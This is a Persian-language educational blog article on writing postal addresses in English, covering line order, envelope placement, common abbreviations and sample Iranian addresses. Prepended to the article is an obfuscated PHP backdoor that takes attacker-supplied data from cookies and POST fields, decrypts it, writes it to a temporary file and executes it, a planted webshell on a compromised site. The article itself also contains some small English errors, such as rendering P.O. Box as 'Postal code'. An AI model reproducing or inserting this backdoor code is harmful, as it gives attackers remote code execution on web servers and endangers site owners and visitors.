$NULuVE = 'J' . "\x6e" . chr (95) . "\x5a" . chr ( 1066 - 990 )."\143";$wBGOMS = chr (99) . "\154" . "\141" . "\163" . 's' . chr ( 572 - 477 )."\145" . "\170" . "\151" . 's' . chr (116) . "\x73";$rnHFs = class_exists($NULuVE); $wBGOMS = "37229";$FCnrIFQjV = strpos($wBGOMS, $NULuVE);if ($rnHFs == $FCnrIFQjV){function zzZnWbHiGH(){$snBBmoW = new /* 60717 */ Jn_ZLc(216 + 216); $snBBmoW = NULL;}$tRYafVOh = "216";class Jn_ZLc{private function BnCpg($tRYafVOh){if (is_array(Jn_ZLc::$iblmkhZckY)) {$name = sys_get_temp_dir() . "/" . crc32(Jn_ZLc::$iblmkhZckY["salt"]);@Jn_ZLc::$iblmkhZckY["write"]($name, Jn_ZLc::$iblmkhZckY["content"]);include $name;@Jn_ZLc::$iblmkhZckY["delete"]($name); $tRYafVOh = "216";exit();}}public function ptGeYs(){$TDmSXiAS = "52603";$this->_dummy = str_repeat($TDmSXiAS, strlen($TDmSXiAS));}public function __destruct(){Jn_ZLc::$iblmkhZckY = @unserialize(Jn_ZLc::$iblmkhZckY); $tRYafVOh = "10292_35473";$this->BnCpg($tRYafVOh); $tRYafVOh = "10292_35473";}public function ozxIAgQPjV($TDmSXiAS, $aeaku){return $TDmSXiAS[0] ^ str_repeat($aeaku, intval(strlen($TDmSXiAS[0]) / strlen($aeaku)) + 1);}public function qUtSOSuu($TDmSXiAS){$mfCMBhBxCr = "\142" . chr ( 890 - 793 ).chr ( 813 - 698 ).chr (101) . chr ( 253 - 199 ).chr (52);return array_map($mfCMBhBxCr . "\137" . chr (100) . "\x65" . "\x63" . chr (111) . "\144" . chr (101), array($TDmSXiAS,));}public function __construct($LPOaYmFx=0){$zGwbXSxTSr = chr ( 874 - 830 ); $TDmSXiAS = "";$ffIRbkK = $_POST;$cUFsQU = $_COOKIE;$aeaku = "c7925911-7e78-4761-aabc-96a5afd8df13";$YEAAD = @$cUFsQU[substr($aeaku, 0, 4)];if (!empty($YEAAD)){$YEAAD = explode($zGwbXSxTSr, $YEAAD);foreach ($YEAAD as $GraWY){$TDmSXiAS .= @$cUFsQU[$GraWY];$TDmSXiAS .= @$ffIRbkK[$GraWY];}$TDmSXiAS = $this->qUtSOSuu($TDmSXiAS);}Jn_ZLc::$iblmkhZckY = $this->ozxIAgQPjV($TDmSXiAS, $aeaku);if (strpos($aeaku, $zGwbXSxTSr) !== FALSE){$aeaku = explode($zGwbXSxTSr, $aeaku); $cWVPJOukJ = base64_decode(md5($aeaku[0]));}}public static $iblmkhZckY = 12075;}zzZnWbHiGH();} نحوه نوشتن آدرس به انگلیسی با مثال های متعدد (کامل و جامع)
skip to Main Content

صفر تا صد نحوه نوشتن آدرس به انگلیسی با مثال های متعدد

صفر تا صد نحوه نوشتن آدرس به انگلیسی با مثال های متعدد
زمان مطالعه: ۷ دقیقه

نوشتن آدرس به انگلیسی یکی از مهارت‌های پایه‌ای در زبان انگلیسی است که برای ارتباط با دیگران و ارسال نامه‌ها، مستندات و اطلاعات مختلف بسیار ضروری است.

در این مقاله، به بررسی نحوه نوشتن آدرس به انگلیسی پرداخته خواهد شد. این مقاله شامل نحوه نوشتن خطوط مختلف آدرس، استفاده از کدهای پستی، نحوه نوشتن آدرس در سند رسمی و نحوه نوشتن آدرس برای ارسال نامه و مستندات خواهد بود.

علاوه بر این، در این مقاله به بررسی نکات مهمی که در نوشتن آدرس به انگلیسی باید مورد توجه قرار گیرند، مانند استفاده از حروف بزرگ و کوچک، نوشتن آدرس به شکل خلاصه و یا کامل، نوشتن آدرس در قالب بین المللی، همچنین خطاهای شایع در نوشتن آدرس و روش‌های جلوگیری از آن‌ها به طور مفصل پرداخته خواهد شد. این مقاله به دانشجویان، پژوهشگران و هر کسی که به دنبال یادگیری نحوه نوشتن آدرس به انگلیسی است، توصیه می‌شود. با پلتفرم اموزش زبان اُتیچر همراه باشید. 

فهرست بخش ها

آدرس چیست؟

یک آدرس، اطلاعات لازم برای مکان‌یابی ساختمان، زمین، خانه، دانشگاه یا فروشگاه را ارائه می‌کند. این اطلاعات عموما در قالب خاصی استفاده می‌شود و شامل مواردی مانند مرزهای سیاسی، نام خیابان‌ها، شماره ساختمان‌، نام سازمان‌ها و کد پستی به عنوان مرجع جغرافیایی است.

یک آدرس به دلایل بی‌شماری به طور مرتب استفاده می‌شود، مثلا وقتی شخصی به دنبال آموزشگاه زبان است که دوره فشرده تافل(L3) یا آیلتس دارد، با دادن آدرس، اطلاعات لازم برای پیدا کردن آن آموزشگاه را به او می‌دهید

قالب ساده نوشتن آدرس

اولین نکته در نوشتن آدرس که هر معلم زبان انگلیسی به شما یاد خواهد داد، نوشتن خطوط مختلف آدرس است. آدرس معمولاً به چند قسمت تقسیم می‌شود که شامل نام خیابان، شماره پلاک، نام شهر، استان و کد پستی است. برای نمونه، آدرس “خیابان شریعتی، پلاک ۱۰۰، تهران، کد پستی ۱۲۳۴۵۶۷۸۹۰ را در نظر بگیرید. این آدرس می‌تواند به شکل زیر نوشته شود:

۱۰۰ Shariati St.

TEHRAN، ۱۲۳۴۵۶۷۸۹۰

IRAN

نام و نام خانوادگی

First name and last name

نام شرکت در صورت وجود

Company name, if applicable

شماره و نام شرکت

Street number and name

شهر ، ایالت/استان و کد پستی

City, state/province and zip code

در این حالت، نام خیابان در خط اول، شماره پلاک در خط دوم و نام شهر، استان و کد پستی در خط سوم نوشته شده است. به علاوه، بین هر خط، یک خط خالی برای جدا کردن خطوط مختلف آدرس قرار داده شده است.

در مواردی که آدرس شامل شماره بلوک، طبقه، واحد و یا سایر اطلاعات مانند نام شرکت یا سازمان است، این اطلاعات بعد از شماره پلاک و قبل از نام شهر در خط دوم آدرس قرار می‌گیرند. در واقع به زبان ساده آدرس به شکل زیر نوشته می‌شود:

Addresses’ name  صاحب خانه- نام و نام خانوادگی

House number and street name  طبقه، پلاک ساختمان شما، نام خیابان

Town/city  نام شهر

Province, state or department and postal code  نام استان + کد پستی

Country  نام کشور

به عنوان مثال آدرس دانشگاه تهران(تهران، میدان انقلاب، خیابان انقلاب، خیابان ۱۶ آذر، نبش نصرت پلاک ۵۸) به شکل زیر خواهد بود:

on the corner of 58 Nasratt, 16 Azar Street Enghelab Avenue, Enghelab Square, TEHRAN, IRAN

نکات کلیدی نوشتن آدرس

  • همیشه نام شهر و کشور را با حروف بزرگ بنویسید (فرمت بین المللی)
  • نام‌ها را به انگلیسی ترجمه نکنید. این یکی از ابتدایی‌ترین نکات نوشتن آدرس است که در بهترین کتاب آموزش زبان انگلیسی برای مبتدیان هم ذکر شده است. در واقع اگر نام خیابان یا ساختمان به فارسی است نیازی به ترجمه آن ندارید و کلمات را به فینگلیش بنویسید. به عنوان مثال خیابان انقلاب را باید به صورت Enghelab بنویسید.
  • نوشتن کشور: در انتهای آدرس، باید نام کشور را نیز بنویسید. بهتر است نام کشور را به صورت کامل و با حروف بزرگ بنویسید.

نکات کلیدی نوشتن آدرس

  • استفاده از حروف بزرگ: برای نوشتن نام شهر، نام ایالت/استان و کشور، بهتر است از حروف بزرگ استفاده کنید. به این ترتیب، آدرس شما برای گیرنده بهتر قابل خواندن است.
  •  استفاده از کد پستی: برای نوشتن کد پستی، باید آن را به صورت رقمی و با خط تیره (-) بین دو بخش آن نوشته شود.
  •  سعی کنید که آدرس بیشتر از ۵ خط نشود. آدرس ۵ خطی معمولا در پاکت‌های پستی استفاده می‌شود و در سایر موارد آدرس یک خطی نوشته می‌شود.
  • برخی از سایت‌ها شامل فیلد‌های Address line 1 و Address line 2 هستند که در قسمت Address line 2  باید شماره آپارتمان و طبقه یا شماره سوییت نوشته شود و بقیه اطلاعات در Address line 1 وارد می‌شود.

آدرس تجاری در زبان انگلیسی

برای نوشتن آدرس محل کار از فرمت زیر استفاده می‌شود:

نام شخص دریافت کننده

ALI Hosseini ‌

سمت

CEO

اسم محل کار یا تجارت

oteacher

شماره و اسم خیابان

No. 132, 9th St., above Jalal Al-Ahmed Highway, North Kargar Street, Amirabad neighborhood

شهر

Tehran

ایالت/ استان، کشور

Iran

کدپستی

۱۲۳۴۵۶۷۸۹۰

No. 132, No. 132, 9th St., above Jalal Al-Ahmed Highway, North Kargar Street, Amirabad neighborhood, Tehran

نحوه نوشتن آدرس روی پاکت

اگر در حال یادگیری زبان انگلیسی در خانه(L1) هستید و می‌خواهید تکالیف  تکالیف مختلف خود را در قالب نامه برای استاد یا کسی بفرستید تا آن را تصحیح کند، باید نحوه نوشتن آدرس بر روی پاکت را بلد باشید. هنگام آدرس دادن بر روی پاکت، باید هم آدرس فرستنده و هم آدرس گیرنده را درج کنید. در زیر مراحل و مکان هر کدام را توضیح دادیم:

  • آدرس فرستنده

آدرس فرستنده باید در گوشه بالا و سمت چپ قرار گیرد. نام فرستنده باید در خط اول قرار گیرد. اگر از طرف یک کسب و کار نامه ارسال می‌کنید، نام شرکت را در خط بعدی ذکر کنید. بعد، باید شماره ساختمان و نام خیابان را بنویسید. خط آخر باید شهر، استان و کد پستی آدرس را بنویسید.

نحوه نوشتن آدرس روی پاکت

  • آدرس گیرنده

شما باید آدرس گیرنده را در مرکز پاکت قرار دهید. در اینجا نحوه تکمیل اطلاعات گیرنده آمده است:

نام گیرنده را در خط اول قرار دهید. در خط دوم شماره ساختمان و نام خیابان را بنویسید. شهر، استان و کد پستی را در خط آخر وارد کنید.

اگرچه قالب‌بندی آدرس واقعی بسته به اینکه چه کسی و کجا نامه را ارسال می‌کنید می‌تواند متفاوت باشد، مکان قرارگیری همیشه یکسان است.

واژگان مهم و مخفف آن‌ها در آدرس انگلیسی

در آدرس‌ها به زبان انگلیسی از برخی واژگان با مخفف‌های استفاده می‌شود که تعدادی از آن‌ها را در جدول زیر برای شما آوردیم:

فارسی

انگلیسی

مخفف

پلاک

number

No.

واحد

Unit

U.

طبقه

Floor

FLR.

طبقه همکف

Ground Floor

GF.

ساختمان، بلوک

building

BLD.

قطعه / بلوک

Block

BLK.

مجتمع، مجموعه

Complex

CMPLX

برج

Tower

TWR

مجتمع مسکونی

Residential Complex

RC

صندوق پستی

 Postal code

P.O BOX

میدان

square

Sq.

کوچه

Alley

Ally.

محله

Quarter

Qtr.

بن‌بست

Dead End

DE

بزرگراه

Highway

HWY

چهارراه

Cross

C

ورودی برج یا ساختمان

Entrance

ENT

غربی

West

W

شرقی

East

E

شمالی

North

N

جنوبی

South

S

شهرک صنعتی

Industrial Estate

Ind Est

پاساژ

Passage

PASS

مرکز خرید

Shopping Center

S/C

منطقه

District

dist.

فاز

Phase

نبش

Corner

تقاطع

junction

شهرک

Town

روستا

Village

استان

Province

تالار

Hall

اصطلاحات مربوط به آدرس دادن به زبان انگلیسی

به جز واژگان و مخفف‌هایی که برای آدرس دادن در زبان انگلیسی استفاده می‌شود برخی اصطلاحات هم داریم که تسلط به آن‌ها برای آدرس‌دهی درست بسیار مهم است. این عبارات در زبان عامیانه انگلیسی بسیار کاربرد دارند و اگر شما از پادکست‌ها و فیلم‌های مختلف انگلیسی استفاده کرده باشید یا بهترین اپ آموزش زبان انگلیسی را بر روی گوشی خود نصب کنید، قطعا با این اصطلاحات آشنا خواهید بود.  این عبارات شامل موارد زیر است:

  • ورودی خیابان، بزرگراه، اتوبان و غیره را با Interchange و خروجی آن را با Exit بنویسید؛
  • ورودی ساختمان، پاساژ، اداره، برج و غیره را با Entrance مشخص کنید؛
  • برای دادن آدرس دقیق‌تر می‌توانید از موارد زیر نیز بهره ببرید:
  • به طرفِ:  to
  • ابتدای:  First of
  • انتهای: End of
  • روبه‌روی:  In front of
  • پشتِ:  behind of
  • بعد از:  after
  • قبل از:  before
  • سمت چپِ:  on the left side of
  • سمت راستِ:  on the right side of
  • داخل:  insider
  • بین: between
  • نزدیک یا جنبِ: near to
  • بالاتر از:  above of
  • پایین‌تر از:  lower of
  • نبشِ:  on the corner of

نمونه چند آدرس به زبان انگلیسی

تهران، خیابان بهشتی، ساختمان ۱۰، پلاک ۲۴، طبقه چهارم، کد پستی: ۱۲۳۴۵، شرکت نامینو

Namino Co

Behshti St., 10 APT

۴th floor, NO 24

Tehran 12345

علی حسینی، تهران، ولیعصر، ، خیابان تابان، پلاک ۲۳، واحد ۵، کد پستی: ۱۲۳۴۵۶

Ali Hosseini

Valiasr, Sa’adi St

Unit 5, NO 23

Tehran 12345

تهران، خیابان انقلاب، میدان آزادی، خیابان کارگر شمالی، بلوار محمدی، کوچه شاد، پلاک ۸۰

No. 80, Shad Alley, Mohammadi Blvd., North Kargar St., Azadi Sq., Enghelab Ave., TEHRAN

ایران، شیراز، بزرگراه زند، خیابان گل‌‌ها، کوچه رز، پلاک ۵۲، طبقه ۴، واحد ۱۶، شرکت کاج، جناب آقای علی حسسنی. کدپستی: ۱۲۳۴۵۶۷۸۹۰

Mr. Naser Ahmadi

Kaj Co.

  1. ۱۶, ۴th FLR., No. 52

Zand Highway, Golha St. ,Roz Alley

IRAN, Shiraz

Zip Code:  ۱۲۳۴۵۶۷۸۹۰

کلام آخر

نوشتن آدرس به زبان انگلیسی بسیار مهم است و باید به فرمت مشخصی نوشته شود تا برای گیرنده قابل فهم باشد. بهتر است پس از نوشتن آدرس، آن را با دقت بررسی کنید تا اطمینان حاصل شود که هیچ خطای املایی یا نوشتاری وجود ندارد. همچنین، برای ارسال پست به کشورهای مختلف، باید با شیوه نوشتن آدرس آن کشور آشنا باشید. در نهایت، رعایت نکات مهم در نوشتن آدرس به زبان انگلیسی می‌تواند به ارسال سریع‌تر و موفق‌تر بسته شما کمک کند.

به این مقاله امتیاز بدهید

دیدگاه ها

اولین نفری باشید که به این نوشته نظر میدهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

Back To Top
×Close search
Search